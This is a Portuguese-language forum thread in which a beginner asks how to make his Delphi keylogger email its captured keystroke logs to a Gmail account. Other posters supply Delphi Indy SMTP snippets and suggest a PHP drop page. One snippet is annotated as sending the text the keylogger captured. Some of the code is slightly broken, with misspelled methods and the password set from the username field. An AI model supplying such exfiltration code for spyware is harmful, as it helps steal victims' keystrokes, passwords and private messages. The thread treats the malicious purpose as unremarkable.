Dica Keylogger em delphi enviar por email

[Nemesys]

pessoal seguinte:
sou iniciante em delphi e estou desenvolvendo um keylogger e queria perguntar a vocês se voçes sabem algum código para que ele envie arquivos de log (.txt) para um email do gmail. fico grato á ajuda de vocês. vlws

[Alucinado]

Nemesys, pesquise sobre os componentes IdMessage e IdSMTP. Com esses componentes vc pode enviar os log para seu email.

[thiagoporto]

resposta

tem um artigo no site da devmedia em relação de envio de log por email, bem prático uso esse método nas aplicações comerciais quando tem algum erro na aplicação ela envia o erro por email em txt.
espero ter ajudado, qualquer coisa entra em contato que mando o codgio thiago__porto@hotmail.com

[n4n0]

use uma pagina em php num servidor qualquer é mole mole se ainda naun tiver resolvido me procure

[Nemesys]

use uma pagina em php num servidor qualquer é mole mole se ainda naun tiver resolvido me procure

não cara ainda não resolvi, vc pode me ajudar? OBS: (Seria possivel fazer isso no delphi 2010 lite?)
grato

[oassrocha@hotmail.com]

envia via indy

Bom, para enviar por email:
vamos la

IdMessage.Recipients.EMailAddresses := edPara.Text;
IdMessage.CCList.EMailAddresses := edCC.Text;
IdMessage.BccList.EMailAddresses := edCCO.Text;
idMessage.body.text:=memo1.lines.text; (aqui o texto capturando na key)

IdMessage.From.Address := edEmailRe.Text;
IdMessage.From.Name := edNomeEx.Text;
IdSMTP.Host := edSmtp.Text;
IdSMTP.Username := edUserName.Text;
IdSMTP.Password := edUserName.Text;
IdSMTP.conect;
IdSMTP.Authentication;
IdSMTP.send(IdMessage);
IdSMTP.Disconectend;

[delphi7]

pode ser assim tambem segue ai o codigo



with Message1 do
begin
Body.Assign(// texto);
From.Text := // Remetente;
Recipients.EMailAddresses := // Destinario;
Subject := // Assunto;
smtp.AuthenticationType := atlogin; // Indica que requer autenticação
smtp.Username := // Usuario;
smtp.Password := // senha;
smtp.Host := // SMTP;
smtp.Port := 25;
smtp.Connect;
try
smtp.Send(message1); // Envia
finally
smtp.Disconnect; // Desconecta
end;
end;